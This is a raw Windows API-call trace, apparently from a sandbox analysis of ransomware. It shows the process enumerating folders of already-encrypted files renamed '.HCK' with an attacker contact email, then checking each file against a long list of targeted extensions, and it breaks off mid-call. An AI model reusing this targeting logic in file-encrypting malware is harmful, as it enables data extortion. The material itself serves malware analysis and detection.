lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0224.290] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.290] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5731a8 [0224.290] FindNextFileW (in: hFindFile=0x5731a8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.290] FindNextFileW (in: hFindFile=0x5731a8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2d9f5ae, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2d9f5ae, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2d9f5ae, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.290] FindNextFileW (in: hFindFile=0x5731a8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2d9f5ae, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2d9f5ae, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2d9f5ae, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.290] FindNextFileW (in: hFindFile=0x5731a8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa309a3c4, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa309a3c4, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa30c0705, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.290] FindNextFileW (in: hFindFile=0x5731a8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa309a3c4, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa309a3c4, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa30c0705, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.291] FindClose (in: hFindFile=0x5731a8 | out: hFindFile=0x5731a8) returned 1 [0224.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.291] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0224.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.291] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573468 [0224.292] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.292] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2ef6ba8, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2ef6ba8, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2ef6ba8, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.292] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2ef6ba8, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2ef6ba8, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2ef6ba8, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.292] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2e37ee6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2e37ee6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2e37ee6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.292] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2e37ee6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2e37ee6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2e37ee6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.292] FindClose (in: hFindFile=0x573468 | out: hFindFile=0x573468) returned 1 [0224.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.292] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0224.293] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.293] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573828 [0224.293] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.293] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2f1cdc3, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2f1cdc3, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2f1cdc3, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.293] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2f1cdc3, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2f1cdc3, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3348f38, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.293] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2e37ee6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2e37ee6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2e5e0a8, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.293] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2e37ee6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2e37ee6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2e5e0a8, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.293] FindClose (in: hFindFile=0x573828 | out: hFindFile=0x573828) returned 1 [0224.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.294] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0224.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.294] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5733a8 [0224.312] FindNextFileW (in: hFindFile=0x5733a8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.313] FindNextFileW (in: hFindFile=0x5733a8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3538eda, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3538eda, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3538eda, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.313] FindNextFileW (in: hFindFile=0x5733a8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa35d1744, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa35d1744, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa361dbe4, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.313] FindNextFileW (in: hFindFile=0x5733a8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2e8433c, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2e8433c, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa35ab447, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.313] FindNextFileW (in: hFindFile=0x5733a8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2e8433c, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2e8433c, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa35ab447, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.313] FindClose (in: hFindFile=0x5733a8 | out: hFindFile=0x5733a8) returned 1 [0224.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.313] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0224.313] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.313] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573728 [0224.315] FindNextFileW (in: hFindFile=0x573728, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.315] FindNextFileW (in: hFindFile=0x573728, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa304df85, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa304df85, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa307421d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.315] lstrlenW (lpString="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK") returned 42 [0224.315] lstrlenW (lpString=".1cd") returned 4 [0224.315] lstrcmpiW (lpString1=".1cd", lpString2=".HCK") returned -1 [0224.315] lstrlenW (lpString=".3ds") returned 4 [0224.315] lstrcmpiW (lpString1=".3ds", lpString2=".HCK") returned -1 [0224.315] lstrlenW (lpString=".3fr") returned 4 [0224.315] lstrcmpiW (lpString1=".3fr", lpString2=".HCK") returned -1 [0224.315] lstrlenW (lpString=".3g2") returned 4 [0224.315] lstrcmpiW (lpString1=".3g2", lpString2=".HCK") returned -1 [0224.315] lstrlenW (lpString=".3gp") returned 4 [0224.315] lstrcmpiW (lpString1=".3gp", lpString2=".HCK") returned -1 [0224.315] lstrlenW (lpString=".7z") returned 3 [0224.315] lstrcmpiW (lpString1=".7z", lpString2="HCK") returned -1 [0224.316] lstrlenW (lpString=".accda") returned 6 [0224.316] lstrcmpiW (lpString1=".accda", lpString2="o].HCK") returned -1 [0224.316] lstrlenW (lpString=".accdb") returned 6 [0224.316] lstrcmpiW (lpString1=".accdb", lpString2="o].HCK") returned -1 [0224.316] lstrlenW (lpString=".accdc") returned 6 [0224.316] lstrcmpiW (lpString1=".accdc", lpString2="o].HCK") returned -1 [0224.316] lstrlenW (lpString=".accde") returned 6 [0224.316] lstrcmpiW (lpString1=".accde", lpString2="o].HCK") returned -1 [0224.316] lstrlenW (lpString=".accdt") returned 6 [0224.316] lstrcmpiW (lpString1=".accdt", lpString2="o].HCK") returned -1 [0224.316] lstrlenW (lpString=".accdw") returned 6 [0224.316] lstrcmpiW (lpString1=".accdw", lpString2="o].HCK") returned -1 [0224.316] lstrlenW (lpString=".adb") returned 4 [0224.316] lstrcmpiW (lpString1=".adb", lpString2=".HCK") returned -1 [0224.316] lstrlenW (lpString=".adp") returned 4 [0224.316] lstrcmpiW (lpString1=".adp", lpString2=".HCK") returned -1 [0224.316] lstrlenW (lpString=".ai") returned 3 [0224.316] lstrcmpiW (lpString1=".ai", lpString2="HCK") returned -1 [0224.316] lstrlenW (lpString=".ai3") returned 4 [0224.316] lstrcmpiW (lpString1=".ai3", lpString2=".HCK") returned -1 [0224.316] lstrlenW (lpString=".ai4") returned 4 [0224.316] lstrcmpiW (lpString1=".ai4", lpString2=".HCK") returned -1 [0224.316] lstrlenW (lpString=".ai5") returned 4 [0224.316] lstrcmpiW (lpString1=".ai5", lpString2=".HCK") returned -1 [0224.316] lstrlenW (lpString=".ai6") returned 4 [0224.316] lstrcmpiW (lpString1=".ai6", lpString2=".HCK") returned -1 [0224.316] lstrlenW (lpString=".ai7") returned 4 [0224.316] lstrcmpiW (lpString1=".ai7", lpString2=".HCK") returned -1 [0224.316] lstrlenW (lpString=".ai8") returned 4 [0224.316] lstrcmpiW (lpString1=".ai8", lpString2=".HCK") returned -1 [0224.316] lstrlenW (lpString=".anim") returned 5 [0224.316] lstrcmpiW (lpString1=".anim", lpString2="].HCK") returned -1 [0224.316] lstrlenW (lpString=".arw") returned 4 [0224.316] lstrcmpiW (lpString1=".arw", lpString2=".HCK") returned -1 [0224.316] lstrlenW (lpString=".as") returned 3 [0224.316] lstrcmpiW (lpString1=".as", lpString2="HCK") returned -1 [0224.316] lstrlenW (lpString=".asa") returned 4 [0224.316] lstrcmpiW (lpString1=".asa", lpString2=".HCK") returned -1 [0224.316] lstrlenW (lpString=".asc") returned 4 [0224.316] lstrcmpiW (lpString1=".asc", lpString2=".HCK") returned -1 [0224.316] lstrlenW (lpString=".ascx") returned 5 [0224.316] lstrcmpiW (lpString1=".ascx", lpString2="].HCK") returned -1 [0224.316] lstrlenW (lpString=".asm") returned 4 [0224.316] lstrcmpiW (lpString1=".asm", lpString2=".HCK") returned -1 [0224.316] lstrlenW (lpString=".asmx") returned 5 [0224.317] lstrcmpiW (lpString1=".asmx", lpString2="].HCK") returned -1 [0224.317] lstrlenW (lpString=".asp") returned 4 [0224.317] lstrcmpiW (lpString1=".asp", lpString2=".HCK") returned -1 [0224.317] lstrlenW (lpString=".aspx") returned 5 [0224.317] lstrcmpiW (lpString1=".aspx", lpString2="].HCK") returned -1 [0224.317] lstrlenW (lpString=".asr") returned 4 [0224.317] lstrcmpiW (lpString1=".asr", lpString2=".HCK") returned -1 [0224.317] lstrlenW (lpString=".asx") returned 4 [0224.317] lstrcmpiW (lpString1=".asx", lpString2=".HCK") returned -1 [0224.317] lstrlenW (lpString=".avi") returned 4 [0224.317] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0224.317] lstrlenW (lpString=".avs") returned 4 [0224.317] lstrcmpiW (lpString1=".avs", lpString2=".HCK") returned -1 [0224.317] lstrlenW (lpString=".backup") returned 7 [0224.317] lstrcmpiW (lpString1=".backup", lpString2="io].HCK") returned -1 [0224.317] lstrlenW (lpString=".bak") returned 4 [0224.317] lstrcmpiW (lpString1=".bak", lpString2=".HCK") returned -1 [0224.317] lstrlenW (lpString=".bay") returned 4 [0224.317] lstrcmpiW (lpString1=".bay", lpString2=".HCK") returned -1 [0224.317] lstrlenW (lpString=".bd") returned 3 [0224.317] lstrcmpiW (lpString1=".bd", lpString2="HCK") returned -1 [0224.317] lstrlenW (lpString=".bin") returned 4 [0224.317] lstrcmpiW (lpString1=".bin", lpString2=".HCK") returned -1 [0224.317] lstrlenW (lpString=".bmp") returned 4 [0224.317] lstrcmpiW (lpString1=".bmp", lpString2=".HCK") returned -1 [0224.317] lstrlenW (lpString=".bz2") returned 4 [0224.317] lstrcmpiW (lpString1=".bz2", lpString2=".HCK") returned -1 [0224.317] lstrlenW (lpString=".c") returned 2 [0224.317] lstrcmpiW (lpString1=".c", lpString2="CK") returned -1 [0224.317] lstrlenW (lpString=".cdr") returned 4 [0224.317] lstrcmpiW (lpString1=".cdr", lpString2=".HCK") returned -1 [0224.317] lstrlenW (lpString=".cer") returned 4 [0224.317] lstrcmpiW (lpString1=".cer", lpString2=".HCK") returned -1 [0224.317] lstrlenW (lpString=".cf") returned 3 [0224.317] lstrcmpiW (lpString1=".cf", lpString2="HCK") returned -1 [0224.317] lstrlenW (lpString=".cfc") returned 4 [0224.317] lstrcmpiW (lpString1=".cfc", lpString2=".HCK") returned -1 [0224.317] lstrlenW (lpString=".cfm") returned 4 [0224.317] lstrcmpiW (lpString1=".cfm", lpString2=".HCK") returned -1 [0224.317] lstrlenW (lpString=".cfml") returned 5 [0224.317] lstrcmpiW (lpString1=".cfml", lpString2="].HCK") returned -1 [0224.317] lstrlenW (lpString=".cfu") returned 4 [0224.317] lstrcmpiW (lpString1=".cfu", lpString2=".HCK") returned -1 [0224.317] lstrlenW (lpString=".chm") returned 4 [0224.317] lstrcmpiW (lpString1=".chm", lpString2=".HCK") returned -1 [0224.318] lstrlenW (lpString=".cin") returned 4 [0224.318] lstrcmpiW (lpString1=".cin", lpString2=".HCK") returned -1 [0224.318] lstrlenW (lpString=".class") returned 6 [0224.318] lstrcmpiW (lpString1=".class", lpString2="o].HCK") returned -1 [0224.318] lstrlenW (lpString=".clx") returned 4 [0224.318] lstrcmpiW (lpString1=".clx", lpString2=".HCK") returned -1 [0224.318] lstrlenW (lpString=".config") returned 7 [0224.318] lstrcmpiW (lpString1=".config", lpString2="io].HCK") returned -1 [0224.318] lstrlenW (lpString=".cpp") returned 4 [0224.318] lstrcmpiW (lpString1=".cpp", 